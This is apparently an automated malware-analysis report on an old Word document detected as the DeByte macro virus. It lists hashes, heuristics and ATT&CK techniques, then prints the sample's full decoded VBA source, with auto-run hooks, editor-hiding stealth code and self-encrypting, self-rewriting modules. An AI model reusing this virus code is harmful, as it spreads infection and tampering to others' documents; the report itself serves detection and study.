Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 346af0a8ef4bef51…

MALICIOUS

Office (OLE)

86.0 KB Created: 2003-05-02 04:40:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 895e6ef634a2ea5bfd3fa6fa7014e3d9 SHA-1: b3f2b76ec563b20830990a5dc675c42a93f97791 SHA-256: 346af0a8ef4bef51a7f573bbaa4db4c21c8eb2f696ab143157bbbd85785208d5
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document exhibits characteristics of a legacy macro-based malware. The presence of AutoOpen and AutoClose macros, along with calls to obfuscation routines like 'Criptor.decript' and 'Criptor.cript', suggests an attempt to execute malicious code upon opening or closing the document. The 'I_d' subroutine attempts to import external components based on random selections, potentially leading to the execution of a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.DeByte-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DeByte-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     zz = t.CodeModule.deletelines(i, 1)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoopen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "autoclose"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11520 bytes
SHA-256: d29926be96d4f69d412c3afef1593fd3a01612484e420fae87c6ff1233b11185
Detection
ClamAV: Doc.Trojan.DeByte-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"
Sub Autoopen()
 Call Criptor.decript
 Call i_n.i_n
 Call Criptor.cript
End Sub


Attribute VB_Name = "Fileclose"
Sub FileClose()
 virus_test = 21
 For Each VbComponent In ActiveDocument.VBProject.VBComponents
    On Error GoTo Vir_ok
    If VbComponent.Name = "Dead_Byte" Then virus_test = 54
 Next
 If virus_test = 54 Then GoTo Vir_ok
 Call I_d.I_d
Vir_ok:
 WordBasic.FileClose
End Sub

Attribute VB_Name = "autoclose"
Sub AutoClose()
 virus_test = 30
 For Each VbComponent In ActiveDocument.VBProject.VBComponents
    On Error GoTo Vir_ok
    If VbComponent.Name = "Dead_Byte" Then virus_test = 54
 Next
 If virus_test = 100 Then GoTo Vir_ok
 Call I_d.I_d
Vir_ok:
End Sub

Attribute VB_Name = "I_d"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub I_d()
Dim m(100)
Dim winda As String
Randomize (Timer)
winda = "                                                                           "
n = GetWindowsDirectory(winda, 255)
winda = Left$(winda, n)
min = 1: max = 11: z = 0
For i = 1 To max
    m(i) = 0
Next i
SS:
c = Int((max + min - 1) * Abs(Rnd) + min)
For i = 1 To max
    If c = m(i) Then c = 100
Next i
If c <> 100 Then: z = z + 1: m(z) = c
If z < max Then GoTo SS

For i = 1 To max
If m(i) = 1 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds1.sys"
If m(i) = 2 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds2.sys"
If m(i) = 3 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds3.sys"
If m(i) = 4 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds4.sys"
If m(i) = 5 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds5.sys"
If m(i) = 6 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds6.sys"
If m(i) = 7 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds7.sys"
If m(i) = 8 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds8.sys"
If m(i) = 9 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds9.sys"
If m(i) = 10 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds10.sys"
If m(i) = 11 Then ActiveDocument.VBProject.VBComponents.Import winda + "\winds11.sys"
Next i
ActiveDocument.VBProject.VBComponents("I_nc1").Name = "I_n"
ActiveDocument.SaveAs
End Sub


Attribute VB_Name = "System"
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Sub ViewVBCode(): Stealth: End Sub
Sub FileTemplates(): Stealth: End Sub
Sub ToolsMacro(): Stealth: End Sub
Private Sub Stealth()
 u_name$ = "         "
 b = GetUserName(u_name$, 101)
 On Error Resume Next
 If u_name$ <> "Dead_Byte" Then Application.ShowVisualBasicEditor = 0
 If u_name$ = "Dead_Byte" Then Application.ShowVisualBasicEditor = 1
 Application.EnableCancelKey = 0
End Sub



Attribute VB_Name = "i_n"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub i_n()
'Inr wnsif Fx Xywnsl
'wnsif B "                                                                           "
's B LjyWnsitwxInwjhytwy(wnsif, 255)
'wnsif B Qjky$(wnsif, s)
'yds B 1
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("IjfidGyyj").Jxutwy wnsif + "awnsix1.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("KnqjTujs").Jxutwy wnsif + "awnsix2.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("FzytTujs").Jxutwy wnsif + "awnsix3.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("FzytHqtxj").Jxutwy wnsif + "awnsix4.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("KnqjHqtxj").Jxutwy wnsif + "awnsix5.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndi").Jxutwy wnsif + "awnsix6.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndsh").Jxutwy wnsif + "awnsix7.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Xyxyjr").Jxutwy wnsif + "awnsix8.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndsh").Jxutwy wnsif + "awnsix9.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("YRU").Jxutwy wnsif + "awnsix10.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Hwnuytw").Jxutwy wnsif + "awnsix11.xyx"
'Ktw o B 1 Yt WtwiGfxnh.HtzsyRfhwtx(0, 0)
' Nk WtwiGfxnh.[RfhwtSfrj$b(o, 0, 0) B "IjfidGyyj" Ymjs yds B 100
'Sjxy o
'Nk yds B 100 Ymjs LtYt tp
'kdsfrj$ B WtwiGfxnh.[KnqjSfrj$b()
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":IjfidGyyj", "Stwrfq:IjfidGyyj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":KnqjTujs", "Stwrfq:KnqjTujs"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":KnqjHqtxj", "Stwrfq:KnqjHqtxj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":FzytHqtxj", "Stwrfq:FzytHqtxj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Ndi", "Stwrfq:Ndi"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Ndsh", "Stwrfq:Ndsh"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":YRU", "Stwrfq:YRU"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Hwnuytw", "Stwrfq:Hwnuytw"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Xyxyjr", "Stwrfq:Xyxyjr"
'tp:
End Sub




Attribute VB_Name = "FileOpen"
Sub FileOpen()
virus_test = 21
dialog_test = Dialogs(wdDialogFileOpen).Show
If dialog_test = 0 Then GoTo Vir_ok
On Error GoTo Vir_ok
For Each VbComponent In ActiveDocument.VBProject.VBComponents
    On Error GoTo Vir_ok
    If VbComponent.Name = "Dead_Byte" Then virus_test = 54
Next
If virus_test = 54 Then GoTo Vir_ok
Call I_d.I_d
Vir_ok:
End Sub

Attribute VB_Name = "Dead_Byte"
Sub Dead_Byte()
End Sub

Attribute VB_Name = "Criptor"
Sub cript()
Set t = ActiveDocument.VBProject.VBComponents("I_n")
Set t_tmp = ActiveDocument.VBProject.VBComponents("TMP")
z$ = "%"
i = 3
l1:
 z$ = MacroContainer.VBProject.VBComponents("I_n").CodeModule.Lines(i, 1)
 z_tmp$ = MacroContainer.VBProject.VBComponents("TMP").CodeModule.Lines(i - 2, 1)
 If MacroContainer.VBProject.VBComponents("I_n").CodeModule.Lines(i + 1, 1) = "" Then GoTo l2
 nz$ = "'"
 nz_tmp$ = "'"
 For j = 1 To Len(z$)
  If (((Asc(Mid(z$, j, 1)) + 5) > 64) And ((Asc(Mid(z$, j, 1)) + 5) < 91)) Or (((Asc(Mid(z$, j, 1)) + 5) > 96) And ((Asc(Mid(z$, j, 1)) + 5) < 123)) Then
   nz$ = nz$ + Chr$(Asc(Mid(z$, j, 1)) + 5)
   nz_tmp$ = nz_tmp$ + "0"
  End If
  If ((Asc(Mid(z$, j, 1)) + 5) < 65) Or (((Asc(Mid(z$, j, 1)) + 5) > 90) And ((Asc(Mid(z$, j, 1)) + 5) < 97)) Or ((Asc(Mid(z$, j, 1)) + 5) > 122) Then
   nz$ = nz$ + Chr$(Asc(Mid(z$, j, 1)))
   nz_tmp$ = nz_tmp$ + "1"
  End If
 Next j
 zz = t.CodeModule.deletelines(i, 1)
 zz = t.CodeModule.InsertLines(i, nz$)
 'zz_tmp = t_tmp.CodeModule.InsertLines(i - 2, nz_tmp$)
 i = i + 1
GoTo l1
l2:
ActiveDocument.SaveAs
End Sub
Sub decript()
Set t = ActiveDocument.VBProject.VBComponents("I_n")
Set t_tmp = ActiveDocument.VBProject.VBComponents("TMP")
z$ = "%"
i = 3
l1:
 z$ = MacroContainer.VBProject.VBComponents("I_n").CodeModule.Lines(i, 1)
 z_tmp$ = MacroContainer.VBProject.VBComponents("TMP").CodeModule.Lines(i - 2, 1)
 If MacroContainer.VBProject.VBComponents("I_n").CodeModule.Lines(i + 1, 1) = "" Then GoTo l2
 nz$ = ""
 nz_tmp$ = ""
 For j = 2 To Len(z$)
  If Mid(z_tmp$, j, 1) = "0" Then
   nz$ = nz$ + Chr$(Asc(Mid(z$, j, 1)) - 5)
  End If
  If Mid(z_tmp$, j, 1) = "1" Then
   nz$ = nz$ + Mid(z$, j, 1)
  End If
 Next j
 zz = t.CodeModule.deletelines(i, 1) 'номер,кол-ко
 zz = t.CodeModule.InsertLines(i, nz$)
 i = i + 1
GoTo l1
l2:
'zz = t_tmp.CodeModule.deletelines(1, t_tmp.CodeModule.CountOfLines)
ActiveDocument.SaveAs
End Sub

Attribute VB_Name = "TMP"
'0001100001001000000
'1000010111111111111111111111111111111111111111111111111111111111111111111111111111111
'01010001000010000000001110000111111
'10000101000011100001101
'0001011
'0000100000000011000000001100000000000110000001001110100001100001111010000110101
'000010000000001100000000110000000000011000000001110100001100001111010000110101
'000010000000001100000000110000000000011000000001110100001100001111010000110101
'0000100000000011000000001100000000000110000000001110100001100001111010000110101
'0000100000000011000000001100000000000110000000001110100001100001111010000110101
'0000100000000011000000001100000000000110001110100001100001111010000110101
'00001000000000110000000011000000000001100001110100001100001111010000110101
'0000100000000011000000001100000000000110100001110100001100001111010000110101
'00001000000000110000000011000000000001100001110100001100001111010000110101
'00001000000000110000000011000000000001100011101000011000011110100001110101
'000010000000001100000000110000000000011000000011101000011000011110100001110101
'0001010111001100000000100000000000111111
'1001100000000110000000001010111111110110000001001100001000101111
'001010
'0010001011111000010000100
'000000110110000000011000000001011
'10000000010000000011000000111111000000100111100000010000001001
'100000000100000000110000001111110000000011110000001000000001
'10000000010000000011000000111111000000000111100000010000000001
'10000000010000000011000000111111000000000111100000010000000001
'10000000010000000011000000111111000111100000010001
'1000000001000000001100000011111100001111000000100001
'10000000010000000011000000111111000111100000010001
'1000000001000000001100000011111100000001111000000100000001
'10000000010000000011000000111111010000111100000010100001
'001

Attribute VB_Name = "I_nc"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub i_n()
'Inr wnsif Fx Xywnsl
'wnsif B "                                                                           "
's B LjyWnsitwxInwjhytwy(wnsif, 255)
'wnsif B Qjky$(wnsif, s)
'yds B 1
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("IjfidGyyj").Jxutwy wnsif + "awnsix1.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("KnqjTujs").Jxutwy wnsif + "awnsix2.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("FzytTujs").Jxutwy wnsif + "awnsix3.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("FzytHqtxj").Jxutwy wnsif + "awnsix4.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("KnqjHqtxj").Jxutwy wnsif + "awnsix5.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndi").Jxutwy wnsif + "awnsix6.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndsh").Jxutwy wnsif + "awnsix7.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Xyxyjr").Jxutwy wnsif + "awnsix8.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Ndsh").Jxutwy wnsif + "awnsix9.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("YRU").Jxutwy wnsif + "awnsix10.xyx"
'FhynvjIthzrjsy.VGUwtojhy.VGHtrutsjsyx("Hwnuytw").Jxutwy wnsif + "awnsix11.xyx"
'Ktw o B 1 Yt WtwiGfxnh.HtzsyRfhwtx(0, 0)
' Nk WtwiGfxnh.[RfhwtSfrj$b(o, 0, 0) B "IjfidGyyj" Ymjs yds B 100
'Sjxy o
'Nk yds B 100 Ymjs LtYt tp
'kdsfrj$ B WtwiGfxnh.[KnqjSfrj$b()
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":IjfidGyyj", "Stwrfq:IjfidGyyj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":KnqjTujs", "Stwrfq:KnqjTujs"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":KnqjHqtxj", "Stwrfq:KnqjHqtxj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":FzytHqtxj", "Stwrfq:FzytHqtxj"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Ndi", "Stwrfq:Ndi"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Ndsh", "Stwrfq:Ndsh"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":YRU", "Stwrfq:YRU"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Hwnuytw", "Stwrfq:Hwnuytw"
'WtwiGfxnh.RfhwtHtuy kdsfrj$ + ":Xyxyjr", "Stwrfq:Xyxyjr"
'tp:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.